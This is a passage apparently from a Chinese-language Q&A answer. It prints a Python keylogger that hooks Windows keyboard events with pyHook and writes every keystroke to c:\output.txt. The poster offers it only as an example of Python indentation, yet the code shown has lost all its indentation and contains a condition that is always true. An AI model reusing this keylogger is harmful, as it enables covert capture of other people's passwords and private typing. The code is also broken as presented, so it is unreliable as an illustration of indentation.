擅长:python、mysql、java
<pre><code>import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
</code></pre>
<p>我不确定代码是否有效。这只是一个例子,我们应该如何在python中缩进,因为这里没有大括号。你也可以参考这个。在</p>
<p><a href="http://www.secnetix.de/olli/Python/block_indentation.hawk" rel="nofollow">http://www.secnetix.de/olli/Python/block_indentation.hawk</a></p>